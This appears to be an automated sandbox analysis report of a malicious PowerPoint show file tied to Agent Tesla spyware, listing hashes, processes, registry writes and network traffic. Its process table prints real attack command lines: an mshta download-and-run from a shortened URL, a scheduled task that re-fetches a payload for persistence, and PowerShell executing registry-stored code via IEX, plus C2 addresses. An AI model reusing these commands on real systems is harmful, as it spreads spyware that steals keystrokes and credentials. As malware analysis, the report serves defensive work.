| File name: | 7902633d2693d907bc10aad3778c8929 |
| Full analysis: | https://app.any.run/tasks/93ec89cc-ff88-4e02-af33-c83140e73a6e |
| Verdict: | Malicious activity |
| Threats: | Agent Tesla is spyware that collects information about the actions of its victims by recording keystrokes and user interactions. It is falsely marketed as a legitimate software on the dedicated website where this malware is sold. |
| Analysis date: | February 10, 2021, 07:49:14 |
| OS: | Windows 7 Professional Service Pack 1 (build: 7601, 32 bit) |
| Tags: | |
| Indicators: | |
| MIME: | application/vnd.ms-powerpoint |
| File info: | Composite Document File V2 Document, Little Endian, Os: Windows, Version 6.2, Code page: 1252, Author: Proffesor Qureshi, Last Saved By: Microsoft , Revision Number: 20, Name of Creating Application: Microsoft Office PowerPoint, Total Editing Time: 17:04, Create Time/Date: Wed Aug 16 01:00:00 2006, Last Saved Time/Date: Tue Feb 9 00:47:53 2021, Number of Words: 0 |
| MD5: | 7902633D2693D907BC10AAD3778C8929 |
| SHA1: | 7510AD4842AB437B528E6174793F96B2CD36173C |
| SHA256: | 2E85A87FA832435A6FE4AB09B9EC13BDE21CD76FFEDCD203317A61914752731B |
| SSDEEP: | 3072:knpmffdHpeD1GIl/UmILhjKucsiKV4ixkcnnu6yzukpHgOSnkMTa/:knpmHdscfiKV/DnnupuygOSnbe/ |
| .pps/ppt | | | Microsoft PowerPoint document (79.7) |
|---|
| Author: | Proffesor Qureshi |
|---|---|
| LastModifiedBy: | Microsoft |
| RevisionNumber: | 20 |
| Software: | Microsoft Office PowerPoint |
| TotalEditTime: | 17.1 minutes |
| CreateDate: | 2006:08:16 00:00:00 |
| ModifyDate: | 2021:02:09 00:47:53 |
| Words: | - |
| ThumbnailClip: | (Binary data 57736 bytes, use -b option to extract) |
| CodePage: | Windows Latin 1 (Western European) |
| PresentationTarget: | On-screen Show (4:3) |
| Bytes: | - |
| Paragraphs: | - |
| Slides: | - |
| Notes: | - |
| HiddenSlides: | - |
| MMClips: | - |
| AppVersion: | 12 |
| ScaleCrop: | No |
| LinksUpToDate: | No |
| SharedDoc: | No |
| HyperlinksChanged: | No |
| TitleOfParts: | Office Theme |
| HeadingPairs: |
|
PID | CMD | Path | Indicators | Parent process | |||||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
| 1756 | "C:\Windows\System32\schtasks.exe" /create /sc MINUTE /mo 80 /tn ""tutipajikhana"" /F /tr ""\""mshta\""vbscript:Execute("\"CreateObject(""\""Wscript.Shell""\"").Run ""\""mshta http://1230948%1230948@mylundisfarbigthenyouthink.blogspot.com/p/266.html""\"", 0 : window.close"\") | C:\Windows\System32\schtasks.exe | — | mshta.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Manages scheduled tasks Exit code: 0 Version: 6.1.7600.16385 (win7_rtm.090713-1255) Modules
| |||||||||||||||
| 2068 | "C:\Program Files\Microsoft Office\Office14\POWERPNT.EXE" /s "C:\Users\admin\AppData\Local\Temp\7902633d2693d907bc10aad3778c8929.pps" | C:\Program Files\Microsoft Office\Office14\POWERPNT.EXE | — | explorer.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Microsoft PowerPoint Exit code: 0 Version: 14.0.6009.1000 Modules
| |||||||||||||||
| 2464 | "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit ((gp HKCU:\Software).btfee)|IEX | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | — | mshta.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows PowerShell Exit code: 0 Version: 6.1.7600.16385 (win7_rtm.090713-1255) Modules
| |||||||||||||||
| 2660 | ping | C:\Windows\system32\ping.exe | — | POWERPNT.EXE | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: TCP/IP Ping Command Exit code: 1 Version: 6.1.7600.16385 (win7_rtm.090713-1255) Modules
| |||||||||||||||
| 2884 | ping | C:\Windows\system32\ping.exe | — | POWERPNT.EXE | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: TCP/IP Ping Command Exit code: 1 Version: 6.1.7600.16385 (win7_rtm.090713-1255) Modules
| |||||||||||||||
| 3004 | ping | C:\Windows\system32\ping.exe | — | POWERPNT.EXE | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: TCP/IP Ping Command Exit code: 1 Version: 6.1.7600.16385 (win7_rtm.090713-1255) Modules
| |||||||||||||||
| 3104 | ping | C:\Windows\system32\ping.exe | — | POWERPNT.EXE | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: TCP/IP Ping Command Exit code: 1 Version: 6.1.7600.16385 (win7_rtm.090713-1255) Modules
| |||||||||||||||
| 3116 | mshta http://1230948%1230948@j.mp/plansjdwhhhhhhhhhhuowk | C:\Windows\system32\mshta.exe | cmd.exe | ||||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Microsoft (R) HTML Application host Exit code: 0 Version: 11.00.9600.16428 (winblue_gdr.131013-1700) Modules
| |||||||||||||||
| 3740 | cmd /c mshta http://1230948%1230948@j.mp/plansjdwhhhhhhhhhhuowk | C:\Windows\system32\cmd.exe | — | POWERPNT.EXE | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows Command Processor Exit code: 0 Version: 6.1.7601.17514 (win7sp1_rtm.101119-1850) Modules
| |||||||||||||||
| 3884 | ping | C:\Windows\system32\ping.exe | — | POWERPNT.EXE | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: TCP/IP Ping Command Exit code: 1 Version: 6.1.7600.16385 (win7_rtm.090713-1255) Modules
| |||||||||||||||
| (PID) Process: | (2068) POWERPNT.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\PowerPoint\Resiliency\StartupItems |
| Operation: | write | Name: | 8l5 |
Value: 386C350014080000010000000000000000000000 | |||
| (PID) Process: | (2068) POWERPNT.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages |
| Operation: | write | Name: | 1033 |
Value: Off | |||
| (PID) Process: | (2068) POWERPNT.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages |
| Operation: | write | Name: | 1041 |
Value: Off | |||
| (PID) Process: | (2068) POWERPNT.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages |
| Operation: | write | Name: | 1046 |
Value: Off | |||
| (PID) Process: | (2068) POWERPNT.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages |
| Operation: | write | Name: | 1036 |
Value: Off | |||
| (PID) Process: | (2068) POWERPNT.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages |
| Operation: | write | Name: | 1031 |
Value: Off | |||
| (PID) Process: | (2068) POWERPNT.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages |
| Operation: | write | Name: | 1040 |
Value: Off | |||
| (PID) Process: | (2068) POWERPNT.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages |
| Operation: | write | Name: | 1049 |
Value: Off | |||
| (PID) Process: | (2068) POWERPNT.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages |
| Operation: | write | Name: | 3082 |
Value: Off | |||
| (PID) Process: | (2068) POWERPNT.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages |
| Operation: | write | Name: | 1042 |
Value: Off | |||
PID | Process | Filename | Type | |
|---|---|---|---|---|
| 2068 | POWERPNT.EXE | C:\Users\admin\AppData\Local\Temp\CVRC4C7.tmp.cvr | — | |
MD5:— | SHA256:— | |||
| 2068 | POWERPNT.EXE | C:\Users\admin\AppData\Local\Temp\~DFB29F0E18D6B94F4A.TMP | — | |
MD5:— | SHA256:— | |||
| 3116 | mshta.exe | C:\Users\admin\AppData\Local\Temp\CabE6A7.tmp | — | |
MD5:— | SHA256:— | |||
| 3116 | mshta.exe | C:\Users\admin\AppData\Local\Temp\TarE6A8.tmp | — | |
MD5:— | SHA256:— | |||
| 3116 | mshta.exe | C:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\6Z2BCOUL\plansjdwhhhhhhhhhhuowk[1].htm | html | |
MD5:— | SHA256:— | |||
| 3116 | mshta.exe | C:\Users\admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\CC197601BE0898B7B0FCC91FA15D8A69_7E3FEF11902E924C7B6E61B393A08940 | binary | |
MD5:— | SHA256:— | |||
| 3116 | mshta.exe | C:\Users\admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\CC197601BE0898B7B0FCC91FA15D8A69_7E3FEF11902E924C7B6E61B393A08940 | der | |
MD5:— | SHA256:— | |||
| 3116 | mshta.exe | C:\Users\admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\CC197601BE0898B7B0FCC91FA15D8A69_9E19B9DD2CD31790C5DEBD3AA9ED9502 | binary | |
MD5:— | SHA256:— | |||
| 3116 | mshta.exe | C:\Users\admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\CC197601BE0898B7B0FCC91FA15D8A69_9E19B9DD2CD31790C5DEBD3AA9ED9502 | der | |
MD5:— | SHA256:— | |||
| 3116 | mshta.exe | C:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\B6QGX7LP\1277698886-ieretrofit[1].js | text | |
MD5:— | SHA256:— | |||
PID | Process | Method | HTTP Code | IP | URL | CN | Type | Size | Reputation |
|---|---|---|---|---|---|---|---|---|---|
3116 | mshta.exe | GET | 200 | 172.217.23.99:80 | http://ocsp.pki.goog/gts1o1core/MFEwTzBNMEswSTAJBgUrDgMCGgUABBRCRjDCJxnb3nDwj%2Fxz5aZfZjgXvAQUmNH4bhDrz5vsYJ8YkBug630J%2FSsCEFDNhZcTHX9CAgAAAACHAiI%3D | US | der | 471 b | whitelisted |
3116 | mshta.exe | GET | 200 | 172.217.23.99:80 | http://ocsp.pki.goog/gts1o1core/MFEwTzBNMEswSTAJBgUrDgMCGgUABBRCRjDCJxnb3nDwj%2Fxz5aZfZjgXvAQUmNH4bhDrz5vsYJ8YkBug630J%2FSsCEDPe2bBEgr02BQAAAACHSmA%3D | US | der | 471 b | whitelisted |
3116 | mshta.exe | GET | 301 | 67.199.248.16:80 | http://j.mp/plansjdwhhhhhhhhhhuowk | US | html | 162 b | shared |
3932 | MSBuild.exe | POST | 200 | 103.133.105.179:80 | http://103.133.105.179/13/inc/179e4eedd1c1d3.php | unknown | text | 200 b | malicious |
3932 | MSBuild.exe | POST | 200 | 103.133.105.179:80 | http://103.133.105.179/13/inc/179e4eedd1c1d3.php | unknown | — | — | malicious |
3932 | MSBuild.exe | POST | — | 103.133.105.179:80 | http://103.133.105.179/13/inc/179e4eedd1c1d3.php | unknown | — | — | malicious |
3932 | MSBuild.exe | POST | 200 | 103.133.105.179:80 | http://103.133.105.179/13/inc/179e4eedd1c1d3.php | unknown | — | — | malicious |
3116 | mshta.exe | GET | 200 | 172.217.23.99:80 | http://ocsp.pki.goog/gts1o1core/MFIwUDBOMEwwSjAJBgUrDgMCGgUABBRCRjDCJxnb3nDwj%2Fxz5aZfZjgXvAQUmNH4bhDrz5vsYJ8YkBug630J%2FSsCEQCaBDG0G77b2AgAAAAAcLPE | US | der | 472 b | whitelisted |
3116 | mshta.exe | GET | 200 | 172.217.23.99:80 | http://ocsp.pki.goog/gts1o1core/MFEwTzBNMEswSTAJBgUrDgMCGgUABBRCRjDCJxnb3nDwj%2Fxz5aZfZjgXvAQUmNH4bhDrz5vsYJ8YkBug630J%2FSsCEAjBuyP77ProAgAAAACHAiU%3D | US | der | 471 b | whitelisted |
3116 | mshta.exe | GET | 200 | 172.217.23.99:80 | http://ocsp.pki.goog/gts1o1core/MFIwUDBOMEwwSjAJBgUrDgMCGgUABBRCRjDCJxnb3nDwj%2Fxz5aZfZjgXvAQUmNH4bhDrz5vsYJ8YkBug630J%2FSsCEQCbxJefv9myDwgAAAAAcLPs | US | der | 472 b | whitelisted |
PID | Process | IP | Domain | ASN | CN | Reputation |
|---|---|---|---|---|---|---|
3116 | mshta.exe | 142.250.185.205:443 | accounts.google.com | Google Inc. | US | suspicious |
3116 | mshta.exe | 142.250.74.201:443 | www.blogger.com | Google Inc. | US | suspicious |
3116 | mshta.exe | 216.58.212.164:443 | www.google.com | Google Inc. | US | whitelisted |
3116 | mshta.exe | 142.250.185.110:443 | www.google-analytics.com | Google Inc. | US | whitelisted |
3116 | mshta.exe | 142.250.74.195:443 | fonts.gstatic.com | Google Inc. | US | whitelisted |
3952 | powershell.exe | 207.241.224.2:443 | archive.org | Internet Archive | US | malicious |
3952 | powershell.exe | 207.241.228.143:443 | ia801403.us.archive.org | Internet Archive | US | unknown |
3952 | powershell.exe | 207.241.227.72:443 | ia601802.us.archive.org | Internet Archive | US | unknown |
3932 | MSBuild.exe | 103.133.105.179:80 | — | — | — | malicious |
3116 | mshta.exe | 142.250.185.106:443 | fonts.googleapis.com | Google Inc. | US | whitelisted |
Domain | IP | Reputation |
|---|---|---|
j.mp |
| shared |
ifyouarebadtheniamyourdadhehe.blogspot.com |
| whitelisted |
ocsp.pki.goog |
| whitelisted |
www.blogger.com |
| shared |
resources.blogblog.com |
| whitelisted |
accounts.google.com |
| shared |
fonts.googleapis.com |
| whitelisted |
www.google.com |
| malicious |
www.google-analytics.com |
| whitelisted |
fonts.gstatic.com |
| whitelisted |
PID | Process | Class | Message |
|---|---|---|---|
3932 | MSBuild.exe | A Network Trojan was detected | SPYWARE [PTsecurity] AgentTesla |
3932 | MSBuild.exe | A Network Trojan was detected | SPYWARE [PTsecurity] AgentTesla |